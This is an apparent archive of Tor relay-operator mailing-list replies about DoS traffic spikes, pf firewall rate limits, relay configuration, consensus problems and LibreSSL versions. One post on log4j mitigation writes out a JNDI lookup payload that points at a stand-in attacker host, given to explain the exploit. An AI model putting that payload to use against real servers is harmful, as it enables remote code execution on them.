Re: [tor-relays] A new kind of attack?
Hi > > I've noticed a new kind of possible attack on some of my relays, as > > early as Dec.23 which causes huge spikes of outbound traffic that > > eventually maxes out RAM and crashes Tor. The newest one today > > lasted for 5 hours switching between two of the three relays on the > > same IP. > > > > I have included charts and excerpts from the log in my post in Tor > > forum at below link: > > > > https://forum.torproject.org/t/new-kind-of-attack/11122 > > I've noticed this as well, on 0.4.8.10 across FreeBSD and Alpine > platforms, against relays too new to receive any meaningful traffic > from regular clients. MaxMemInQueues does not prevent the relay's > eventual saturation of available memory on the system. The relays > operated as exit nodes. > > We're low on memory (cell queues total alloc: 6336 buffer total > alloc: 1556480, tor compress total alloc: 1073827425 (zlib: 0, zstd: > 0, lzma: 1073827249), rendezvous cache total alloc: 0). Killing > circuits│withover-long queues. (This behavior is controlled by > MaxMemInQueues.) I attached what is a typical picture for my entry relays. Between normal and aggressive is a factor of 3-20 in circuits. The relay frontside (inbound) seems not impacted. Tor 0.4.8.9 running on FreeBSD with Libevent 2.1.12-stable, OpenSSL LibreSSL 3.7.3, Zlib 1.2.13, Liblzma 5.4.1, Libzstd 1.5.5 and BSD 1302001 as libc. MaxMemInQueues 2 GB 2023-12-31, normal The relay takes 3216M memory and 9k files are open MM DD hh mm Circuits txGB rxGB ConnIp4rx ConnIp6rx ConnIp4tx ConnIp6tx 2023 12 31 00 55 41386 24 23 9165 563 2834 381 2023 12 31 01 55 39220 22 22 8550 472 2517 356 2023 12 31 02 55 38644 22 22 8411 456 2312 324 2023 12 31 03 55 40609 21 20 8650 496 2623 466 2023 12 31 04 55 37846 22 21 8424 504 3078 519 2023 12 31 05 55 35218 21 22 8210 457 2872 513 2023 12 31 06 55 35851 24 23 8126 472 2748 430 2023 12 31 07 55 35074 24 23 7971 404 2502 335 2023 12 31 08 55 34321 22 23 8069 448 2332 309 2023 12 31 09 55 35283 21 19 7909 430 1913 283 2023 12 31 10 55 33941 21 21 7709 457 1790 285 2023 12 31 11 55 33825 20 20 7643 484 1884 276 2023 12 31 12 55 32752 24 23 7328 474 1877 196 2023 12 31 13 55 32823 21 21 7333 511 1843 227 2023 12 31 14 55 29976 28 28 7058 473 1680 244 2023 12 31 15 55 28559 25 24 7096 503 1701 292 2023 12 31 16 55 28873 24 24 7217 493 1722 440 2023 12 31 17 55 29011 19 19 6994 487 1674 456 2023 12 31 18 55 32967 21 20 6710 455 1554 363 2023 12 31 19 55 28556 21 21 6714 450 1466 262 2023 12 31 20 55 27904 21 21 6558 384 1507 247 2023 12 31 21 55 27409 22 22 6130 390 1505 231 2023 12 31 22 55 26879 23 22 5929 390 1458 219 2023 12 31 23 55 25827 22 22 5627 376 1333 218 2024 01 01 00 55 28670 17 17 5955 451 1324 276 2024-01-11, aggressive The relay takes 7502M memory and 10k files are open MM DD hh mm Circuits txGB rxGB ConnIp4rx ConnIp6rx ConnIp4tx ConnIp6tx 2024 01 11 00 55 125285 30 30 12105 900 3399 648 2024 01 11 01 55 110064 30 29 11827 995 3725 790 2024 01 11 02 55 45423 24 22 13148 633 2549 543 2024 01 11 03 55 99047 21 20 12944 710 2363 444 2024 01 11 04 55 122485 23 22 11627 705 3623 543 2024 01 11 05 55 113557 23 23 9414 701 3842 709 2024 01 11 06 55 115456 23 23 9265 760 3980 934 2024 01 11 07 55 114597 22 22 9428 798 3733 904 2024 01 11 08 55 120269 27 27 10494 824 3652 702 2024 01 11 09 55 117867 27 25 9936 822 3774 740 2024 01 11 10 55 115923 31 31 9441 812 3734 752 2024 01 11 11 55 116081 28 28 9861 852 3850 714 2024 01 11 12 55 109707 25 24 10266 913 3639 659 2024 01 11 13 55 340445 48 29 15059 1750 3565 623 2024 01 11 14 55 637652 100 16 15583 1594 3886 824 2024 01 11 15 55 553291 100 13 10128 790 3410 700 2024 01 11 16 55 599953 97 16 19689 2965 3293 625 2024 01 11 17 55 559004 100 20 19513 3108 2743 545 2024 01 11 18 55 854193 90 18 51 664 3908 580 2024 01 11 19 55 752697 84 16 13 643 4069 749 2024 01 11 20 55 65342 47 8 17236 2092 2663 663 2024 01 11 21 55 42592 5 4 7842 334 2502 562 2024 01 11 22 55 118705 17 15 11781 781 4688 1169 2024 01 11 23 55 129431 23 23 12623 1145 4946 1128 2024 01 12 00 55 123173 22 21 13507 1154 4759 1119 -- Cheers, Felix pgpZsBCLxI6x5.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Relay not connecting
Hi >Sorry, but I'm going to vent a little bit. I'm not a network >specialist, so 11 days ago I sent the following email to this > mailing list asking for help because two of my Tor exit relays were > completely frozen and I was unable to put them online again. According to https://metrics.torproject.org/rs.html#details/3B85067588C3F017D5CCF7D8F65B5881B7D4C97C the relay is back since 1-2 days, good. Exiting to port 22 might lead to a lot of complaints ending at your ISP or yourself. Default SSH. >Nobody answered, not even a comment. No wait, there was one person Unfortunately that happens from time to time. Thanks for your good report. Did you check https://gitlab.torproject.org/tpo/core/tor/-/issues/ for the bug you reported? > - very active on this mailing list recently - who sent me an email >personally to tell me that I was an idiot (referring to what, I > don't know) who should kill himself. Adding furthermore that if I > didn't commit suicide within 72 hours, he would personally come to my > house and kill me with a Glock 9 mm. Fun stuff, very disturbing. Nobody should read or write something like that. Makes me sad. >Anyway, no serious answers, someone calling me an idiot: I tried to >look as best as I could at what I did wrong. Couldn't find Again, nobody should read or write such. > anything. My only available solution was to rebuild completely my > server, something I wanted to do for a while because of other > undesired quirks that were bothering me with my setup. I knew it > would take a long time - which I didn't really have - but I finally > finished my new setup yesterday. (Don't look for > 25FC41154DCB2CAE3ABD74A8DFCD5B90D2CFFD57 or the bridge, they have > been shut down for the moment.) 3B85067588C3F017D5CCF7D8F65B5881B7D4C97C is actually running >Today, I read a line from Chris Endiku-6 saying: "Thereâs > something going on for a while and I havenât seen any mentions of > it." The exact problem I mentioned! He says it goes "as early as > Dec.23"; my problem goes to Dec 18 as shown in my previous email. > Also, not mentioned in my previous email, before I renewed my setup, > my tor-ddos firewall rules (I use the ones from Endiku-6) had blocked > about 5 times more IP than usual - if that can be useful information > to anyone. Yeah, those things are the spices in our dish. Not sure yet if this is an attack. I observe it too and investigate on my end. Trying to understand the complex vector. >I still would like to know how to restart such a relay, if this > happens again in the future - other than reinstalling the entire > server, that is. Those are my questions too :) . Case by case and issue by issue. Stay save out there! -- Cheers, Felix pgpynMp81Z0qm.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Running a high-performance pluggable transports Tor bridge (FOCI 2023 short paper)
Hi David > https://www.bamsoftware.com/papers/pt-bridge-hiperf/ > > https://www.youtube.com/watch?v=UkUQsAJB-bg=PLWSQygNuIsPc8bOJ2szOblMK4i6T79S1m=5 > > The other FOCI 2023 issue 2 videos are online as well: > > https://www.youtube.com/playlist?list=PLWSQygNuIsPc8bOJ2szOblMK4i6T79S1m Thank you for the paper and the presentation. Chapter 3 (Multiple Tor processes) shows the structure: > mypt - HAproxy = multiple tor services At the end of chapter 3.1 it is written > the loss of country- and transport-specific metrics How will the metrics data be pulled out of the multiple tor services to fetch *all* metrics data? Or will only one of them be looked at, without full data representation? I ask primary about an obfs4 setup. Which might apply for snowflake and friends too. -- Cheers, Felix pgp3tdqG4uTGv.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor-Bridge
Hi > Possible compression bomb; abandoning stream. <- Happened to my > server for 2h straight. Should I take any measures against that? It seems to be not an issue (yet). Some current discussion was done on the list in June timeframe. [tor-relays] «Possible compression bomb» from Authority? -- Cheers, Felix pgpJNICSpRZmK.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor Relay in Kubernetes cluster
> Daniel Nikoloski Hi Daniel Not sure if that already has been answered. I don't use Kubernetes cluster but I find this one interesting: > > Address 38.242.233.101 > > ORPort 9001 NoAdvertise IPv4Only > > ORPort 32150 NoListen IPv4Only I believe the Tor server service will publish port 32150 but it listens to port 9001. It will not listen to where foreign Tor clients speak. Simply "ORPort 9001" could be enough if you bind Tor to the published address 38.242.233.101. Unrelated: If you will bind the Tor server service to an internal address (10.x.x.x) ie for use in a container, NoAdvertise and NoListen can be used to explain it to Tor: Address 38.242.233.101 ORPort 10.x.x.x:9001 NoAdvertise IPv4Only ORPort 38.242.233.101:32150 NoListen IPv4Only The firewall needs to forward the traffic from the external to the internal addresses. In pf world: rdr on $IFEXT inet proto tcp from any to 38.242.233.101 port 32150 -> 10.x.x.x port 9001 Finally (in my setup) the outbound traffic needs nat. In pf world: nat on $IFEXT inet from 10.x.x.x to any -> 38.242.233.101 pgpiJnautVozd.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] «Possible compression bomb» from Authority?
Hi > Jun 03 04:04:33.000 [warn] Possible compression bomb; abandoning > stream. Jun 03 04:04:33.000 [warn] Unable to decompress HTTP body > (tried Zstandard compressed, on Directory connection (client reading) > with 199.58.81.140:80). We see the compression bomb warning from time to time The address seems to be longclaw. Interestingly it's the dirport that ie requested. I thought the dirport is no longer in use - do the authorities still offer it? pgptPL7q2q_s7.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] OpenBSD DoS Mitigation
Hi > Thanks for the reply. What would be a reasonable per-ip rate limit > (connections per second) for a Tor middle relay? On _Freebsd_ the following pf settings apply for running tor in a Jail: table persist MAXSRCCONN = "50" MAXSRCCONNRATE = "5/5" nat on $IFEXT inet from $IPTOR1 to any -> $IP1 rdr on $IFEXT inet proto tcp from ! to $IP1 port XXX -> $IPTOR1 port YYY pass in on $IFEXT inet proto tcp from any to $IPTOR1 port YYY flags S/SA modulate state (max-src-conn $MAXSRCCONN,max-src-conn-rate $MAXSRCCONNRATE,overload flush) Running Tor on host could be something like: table persist MAXSRCCONN = "50" MAXSRCCONNRATE = "5/5" pass in on $IFEXT inet proto tcp from ! to $IPTOR1 port YYY flags S/SA modulate state (max-src-conn $MAXSRCCONN,max-src-conn-rate $MAXSRCCONNRATE,overload flush) The MAX* values are very tight because of the latest DOS experiences. Feel freee to adjust them to your needs. pgp27CVfiuVHT.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Use OutboundBindAddress on multi-instance tor servers
Am Wed, 8 Feb 2023 00:08:39 +0100 schrieb nusenu : Hi > multi-instance tor relay Can you please describe what that is? Is it a server with multiple relays, each with it's own fingerprint? Or is it a relay with one fingerprint and with multiple tor daemons that are synced by some magic? pgp4eabIWAe2n.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] From [tor-announce] Tor stable release 0.4.7.8 - Security Fix
> We have released tor 0.4.7.8 earlier today, a new stable version for > the 0.4.7.x series containing an important High severity security > fix. The affected tor are only those of the 0.4.7.x series as in from > tor-0.4.7.1-alpha to tor-0.4.7.7. Jun 18 10:08:46.000 [notice] This version of Tor (0.4.7.8) is newer than any recommended version, according to the directory authorities. -- Cheers Felix pgpKDS2ek1doi.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Identifying a relay
Hi Eddie > but the vendor mis-identified our relay as an exit, hence > blocking it The vendor or a service provider for its inbound protection might think: Hey, this relay claims to be a non-exit but why do we receive a connection from a non-exit? Bottom line they don't distinguish between an IP and the relay service. If they put both together the clonclusion makes sense in their wrong (?) perspective. It's a little paranoid I would say. > After changing the IP, the new IP was also blocked in less > than 24 hours. My feeling is that the vendor is now just > using the full list of tor nodes and indiscriminately > blocking everything Yup, agree Do you have IPv6 available for your office traffic? While you use IP4 for the relay. If you route email and browser along IPv6 you could resolve the issue. All the best! -- Cheers Felix pgptH6l_GO0WQ.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] [warn] Received a bad CERTS cell: Link certificate does not match TLS certificate
Hi all I found a message in the logs: Apr 16 15:07:46.000 [warn] Received a bad CERTS cell: Link certificate does not match TLS certificate -- Cheers Felix pgpz8Afm4HlbY.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Connection burst
Hi everybody Just to let you know. Yesterday between 21:26 and 21:31 utc the relay 03C3069E814E296EB18776EB61B1ECB754ED89FE (Tor 0.4.7.4-alpha, LibreSSL 3.4.2) received a connection burst of 2k+ source addresses out of 174 /8 ip4 nets (1-223/8). They were kicked off by the packetfilter because the max conn per ip rate was above my applied max threshold. The notice level DoS mitigation entry remained untouched while sitting behind the pf. Beautiful! -- Cheers Felix pgp1I4_GKArH1.pgp Description: Digitale Signatur von OpenPGP ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Leaving tor
Grüezi Jonas Am 07.01.2022 um 10:57 schrieb Jonas via tor-relays: Grüezi, I run a large number of bridges, which hopefully only the tor project can see them and confirm they are mine. I know they are used because I can see the traffic utilization over time. Hopefully they were helpful, especially to people in Russia over the past few weeks. After being harassed by multiple paranoid people over the bridges along with accusations of all kinds, I give up. I do not need this drama. The servers on which the bridges run are good for a while, but I am dropping out of the mailing lists, forum, and matrix. Eventually the bridges will go away too. Merci vilmal and herzlichen glückwunsch! Jonas So sad to read what you posted. Tor seems to be a not unimportant part of your digital life. Maybe things calm down over time. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Mitigating log4j exploits
Hey,
Am 11.12.2021 13:51, schrieb Jens Kubieziel:
attacks. One possibility is, in my opinion, rejecting connection over
ports 389 and 636. What do you think? Should we as exit node operators
block connections over those LDAP ports for some amount of time?
don't think this is going to help.
The exploit works like this: Send a special string that *references* an
ldap server (most used right now, though other protocols are possible),
such as "${jndi:ldap://attacker.example.com:port/a};. The target then
contacts the ldap server and essentially downloads the malicious code
from there. You can include a custom port as shown and many attackers
do. Most exploit attempts use http(s). Nothing we can block without
packet inspection.
Best regards,
Felix
___
tor-relays mailing list
tor-relays@lists.torproject.org
https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Responding to Tor censorship in Russia
Hi Since all of my exit nodes are within the same /16 - would I have to run bridges on newly acquired IPv4 space?-- A bridge has no `family´. An entity running bridge and exit generates an end-to-end situation and might not be what we want. Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Dropped off consensus (0.4.4.5) - reason is Libressl 3.2.1 - 3.4.1 seems ok
Hi All Libressl 3.4.1 (devel) seems to run for us. Oct 22 21:06:26.894 [notice] Tor 0.4.6.7 running on FreeBSD with Libevent 2.1.12-stable, OpenSSL LibreSSL 3.4.1, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.5.0 and Unknown N/A as libc. Am 20.09.2020 um 14:32 schrieb Toralf Förster: On 9/20/20 12:57 PM, Felix wrote: Please somebody can _confirm_ this thing? Much more worse: The relay here under a hardened Gentoo Linux with LibreSSL 3.2.1 has only 50% of the amount of the conenctions as with 3.2.0 at all - and the TCP traffic dropped down by nearly 100%. I recompiled Tor to ensure, that it is not an ABI issue where API looks ok - Tor doesn't play well with LibreSSL 3.2.1. Will roll back to 3.2.0 here Toralf, it would be super nice if you could check on your end, or somebody else can confirm? -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Unsubscribing
Dear All The last days on this list were stunning, to say the least. I'm going to unsubscribe today and i will decide tomorrow if i shut down all my relays. We experience all kinds of attacks against privacy and our relays. Let's stay together. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Bridge operator iat_mode setting
Hi Luiz Am 23.02.2021 um 02:18 schrieb torjoy: I work with time and frequency references and run some tor bridges. What is the objective of "iat_mode" setting? Is an good timming reference important for this setting? For now, i'm adminstrating 3 briges, one with iat_mode=0, iat_mode=1 and iat_mode=2. Could you explain or forward me to some reading about it? There might be other sources, but this is a short and nice one: [ https://github.com/mikeperry-tor/vanguards/blob/master/README_SECURITY.md ] § The Best Way To Use Bridges Note the use of the iat-mode=2 parameter. Setting iat-mode=2 (as opposed to iat-mode=0 or 1) causes obfs4 to inject traffic timing changes into your outgoing traffic, which is exactly the direction you want as a service. The bridge itself does not need to have the same setting. You can apply it to the client and/or the bridge. The outbound timing will be handled accordingly. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] OrNetStats: Operator Level Graphs added
Hi Am 10.01.2021 um 19:08 schrieb li...@for-privacy.net: On 09.01.2021 21:38, nusenu wrote: - Shall we also add the fingerprints from the bridges in 'proof'? https://gitlab.torproject.org/tpo/core/torspec/-/blob/master/proposals/326-tor-relay-well-known-uri-rfc8615.md /.well-known/tor-relay/rsa-fingerprint.txt - The file contains one or more Tor relay RSA SHA1 fingerprints operated by the entity in control of this website. - Each line contains one fingerprint. - The file may contain comments (starting with #). - Non-comment lines must be exactly 40 characters long and consist of the following characters [a-fA-F0-9]. - Fingerprints are not case-sensitive. - Each fingerprint MUST appear at most once. - The file MUST not be larger than one MByte. - The file MUST NOT contain fingerprints of Tor bridges (or hashes of bridge fingerprints). - The content MUST be a media type of "text/plain". :: No bridge fingerprints :: -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] consensus
Hi https://consensus-health.torproject.org/consensus-health shows: Consensus was published 2021-01-06 05:00:00 UTC. Unusual Authorities: moria1 Consensus could not be retrieved dizum Consensus could not be retrieved gabelmoo Consensus could not be retrieved maatuska Consensus could not be retrieved faravahar Consensus could not be retrieved longclaw Consensus could not be retrieved bastet Consensus could not be retrieved When I try http://authorityip:dirport/tor/status-vote/current/consensus.z it's 'failed: Operation timed out' What works is: http://relayip:dirport/tor/status-vote/current/consensus.z Am I missing something and is everything good? A glitch? -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor Traffic De-prioritization Script
Hi The Tor service might not be able to detect if your private usage is high or not. I would suggest the solution at OS level. Typically congestion balances according a fairness modell which stands against your intention. > what alternative methods might exist to de-prioritize Tor > traffic during bursts from personal traffic pipes on Linux > or BSD systems? On BSD you could investigate in pf-altq and define customized queues. But that will impact the bandwidth measurements and the consensus for your relay. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Call for Testing - New Feature: Relay IPv6 Address Discovery
Hi Am 27.11.2020 um 11:43 schrieb t...@fr33tux.org: The relevant parts of my configuration before moving to the 0.4.5 branch was: ``` ORPort 192.168.2.1:9001 NoAdvertise ORPort :9001 NoListen Address OutboundBindAddress 192.168.2.1 ``` A silly question to double check: That really worked? I don't use OutboundBindAddress but given the name "outbound-bind-address" the outbound traffic has to bind to a public IP. And 192.168/16 is not public. For what it's worth. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Thailand block
Hi Gerry Running a relay in Thailand is cool :) Am 23.11.2020 um 09:55 schrieb Dr Gerard Bulger: In some ways surprising it took them so long. Just guessing: If somebody would not like privcay too much, it could be easier to accept a Tor network exit than access to it. Does it make sense in that context ? Is there a way on Tor's web pages and data base to look at historical data. I am curious to know when it off line and removed from Tor metrics. You might already know the two sites showing access to Tor: https://metrics.torproject.org/userstats-relay-country.html?start=2016-01-01=th https://metrics.torproject.org/userstats-bridge-country.html?start=2016-01-01=th -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Log warning : possible (zlib) compression bomb on middle relays
Hi everybody Am 02.11.2020 um 11:05 schrieb Guinness: I'm wondering if this is an attack or a new feature (haven't checked yet) but I'd like to know how many users are impacted. The interesting informations are : * Number of warnings * What kind of relay it is (middle, exit, entry) Relays received shorter probes than bridges which were probed over about 5 hours. As well bridges that are announced (public) but didn't had any 'unique clients' so far. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] FreeBSD and Libressl from the ports
Hi everybody :: That post went as well to tor-...@lists.nycbug.org but is reposted here for a potential higher attendance :: This is for those who run FreeBSD and Libressl from the ports. Because of the issue [0] we can not compile from source. Maybe you can use Libressl from the base system or you overwrite the security/libressl or security/libressl-devel port with an older version like 3.2.0 and compile from there. (Uhh, you can go with Openssl until the fix is in place) Please find the ports files in [1]. Libressl 3.2.0 works with Tor 4.4.x like a charme. Libressl 3.2.1 and 3.2.2 cause an issue with some Tor auths. Libressl 3.2.2 is/was devel and sits as well in non-devel, so we can not switch back this time :( . [0] https://gitlab.torproject.org/tpo/core/tor/-/issues/40128 [1] https://svnweb.freebsd.org/ports/head/security/libressl/ -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Dropped off consensus (0.4.4.5) - reason is Libressl 3.2.1
Hi everybody Sep 18 21:00:22.384 [notice] Tor 0.4.4.5 running on FreeBSD with Libevent 2.1.12-stable, OpenSSL LibreSSL 3.2.1, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.5. moria1 Fast Run Stab V2Dir Valid bw=566 tor26 Fast Guard Stab V2Dir Valid dizum Fast Guard Stab V2Dir Valid gabel. Fast Stab V2Dir Valid bw=1130 danne. Fast Guard Run Stab V2Dir Valid maatu. Fast Stab V2Dir Valid bw=1200 farav. Fast Guard Run Stab V2Dir Valid bw=2970 longc. Fast Stab V2Dir Valid bw=490 bastet Fast Guard Run Stab V2Dir Valid bw=3520 2 hours after Libressl 321 -> 320 Sep 20 10:30:45.633 [notice] Tor 0.4.4.5 running on FreeBSD with Libevent 2.1.12-stable, OpenSSL LibreSSL 3.2.0, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.5. moria1 FastRun Stab V2Dir Valid bw=566 tor26 FastRun Stab V2Dir Valid dizum FastRun Stab V2Dir Valid gabel. FastRun Stab V2Dir Valid bw=1130 danne. Fast -Guard Run Stab V2Dir Valid maatu. FastRun Stab V2Dir Valid bw=1200 farav. Fast -Guard Run Stab V2Dir Valid bw=2970 longc. !Fast Run Stab V2Dir Valid bw=70 bastet Fast -Guard Run Stab V2Dir Valid bw=3520 OWNER :: bwauth=gabelmoo (Yeah, some Lib stuff is new too, hehe) Libressl 321 is not compatible to what is needed to make the authorities tor26, dizum, gabel., maatu. and longc. happy (let them not grant a "Running"). What can that be? Please somebody can _confirm_ this thing? PS: We had the same trouble with Libressl 292 when 28x worked well and 30x too. PPS: Is that a good reason to stay away from automated updates? Ok, Libressl 321 is -devel -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
[tor-relays] Dropped off consensus (0.4.4.5)
Hi everybody This is early. Yesterday I upgraded Ichotolot60 1AE039EE0B11DB79E4B4B29CBA9F752864A0259E from 4.2.7 to 4.4.5. Now I see in the consensus health: moria1 Fast Run Stab V2Dir Valid bw=566 tor26 Fast Guard Stab V2Dir Valid dizum Fast Guard Stab V2Dir Valid gabel. Fast Stab V2Dir Valid bw=1130 danne. Fast Guard Run Stab V2Dir Valid maatu. Fast Stab V2Dir Valid bw=1200 farav. Fast Guard Run Stab V2Dir Valid bw=2970 longc. Fast Stab V2Dir Valid bw=490 bastet Fast Guard Run Stab V2Dir Valid bw=3520 And _no_ Authority "owns" the relay. Old Apr 02 21:51:31.872 [notice] Tor 0.4.2.7 running on FreeBSD with Libevent 2.1.11-stable, OpenSSL LibreSSL 3.0.2, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4. New Sep 18 21:00:22.384 [notice] Tor 0.4.4.5 running on FreeBSD with Libevent 2.1.12-stable, OpenSSL LibreSSL 3.2.1, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.5. (Yeah, some Lib stuff is new too, hehe) The "Guard !Run Stab" consensus looks quite interesting to me. How can it be? Other relays with that nice "Guard !Run Stab" dropped off consensus over night (or since days) and no authority "owns" them too: HORUS1 0.4.4.4-rc norisknofun 0.3.5.10 ULayerKiriakou 0.4.3.5 Stellvia 0.4.3.6 torexit42 (StaleDesc) 0.4.1.6 torpidsDEhetzner1 0.4.3.2-alpha (3 days) karen (StaleDesc) 0.4.2.7 Stephen304 0.4.2.7 (3 days) Rigel2020 (StaleDesc) 0.4.3.6 dgplug (FallbackDir, StaleDesc) 0.4.4.5 =?= May-be the operators updated and are now in the same floating position? May-be this is super normal and came to my attention by surprise? Anyways, I let everthing run for a day or so. Time can heal. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Tor bandwidth scanner "longclaw" slow to the US West Coast
Hi, Am 16.08.2020 um 02:41 schrieb Neel Chauhan: Hi, I believe the Tor bandwidth scanner nicknamed "longclaw" is measuring relays in the US West Coast worse than other bandwidth scanners in North America. This happens on multiple ISPs, both ones I have and ones I don't. The plots below can be a coincidence, but it shows at least there are more parameters for unexpected observations: The consensus of a relay in Germany shows: moria1 Fast Guard !HSDir Run Stab V2Dir Valid bw=17700 tor26 Fast Guard HSDir Run Stab V2Dir Valid dizum Fast Guard HSDir Run Stab V2Dir Valid gabel. Fast Guard HSDir Run Stab V2Dir Valid bw=21800 danne. Fast Guard HSDir Run Stab V2Dir Valid maatu. Fast Guard HSDir Run Stab V2Dir Valid bw=24000 farav. Fast Guard HSDir Run Stab V2Dir Valid bw=21500 longc. Fast !Guard HSDir Run Stab V2Dir Valid bw=1800 bastet Fast Guard HSDir Run Stab V2Dir Valid bw=17300 The mtr plot for the same server shows the hop "100ge1-1.core1.par2.he.net" is generating many packets losses. Where "100ge14-1.core1.nyc4.he.net" puts milli seconds into the game: Packets Pings HostLoss% Snt Last Avg Best Wrst StDev 1. 91-143-90-251.gw.dsw-c6ka.as35366.net 0.0%510.3 1.4 0.3 46.3 6.4 2. po162.bbsw-h3-j1cr.as35366.net 0.0%510.5 0.9 0.3 9.3 1.4 3. po150.bbsw-h2-j1a.as35366.net 0.0%510.4 4.5 0.3 189.5 26.4 4. po205.bbsw-h4a-fra.as35366.net 0.0%517.3 7.6 7.0 24.4 2.4 5. 10gigabitethernet2-3.core1.fra1.he.net 0.0%509.0 11.1 7.1 32.6 6.8 6. 100ge16-2.core1.fra1.he.net 0.0%507.7 7.6 7.3 13.9 0.9 7. 100ge1-1.core1.par2.he.net 51.0%50 17.0 20.2 16.7 39.2 6.6 8. 100ge14-1.core1.nyc4.he.net 0.0%50 87.1 90.1 87.1 102.7 4.3 9. 100ge10-1.core1.ymq1.he.net 0.0%50 99.4 101.3 99.2 109.7 3.2 10. estruxture-data-centers.10gigabitethernet1-1-40.switch3.ymq1.he.net 0.0%50 99.3 101.0 99.1 136.5 6.2 11. 64.15.69.54 0.0%50 98.2 98.1 97.8 99.0 0.2 12. anon.riseup.net 0.0%50 98.4 98.4 98.0 100.3 0.5 Relays at other hosting locations choose for different routes and longclaw sees them perfectly equal. It*s a case by case. -- Cheers, Felix ___ tor-relays mailing list tor-relays@lists.torproject.org https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays
Re: [tor-relays] Become a Fallback Directory Mirror (deadline: July 23)
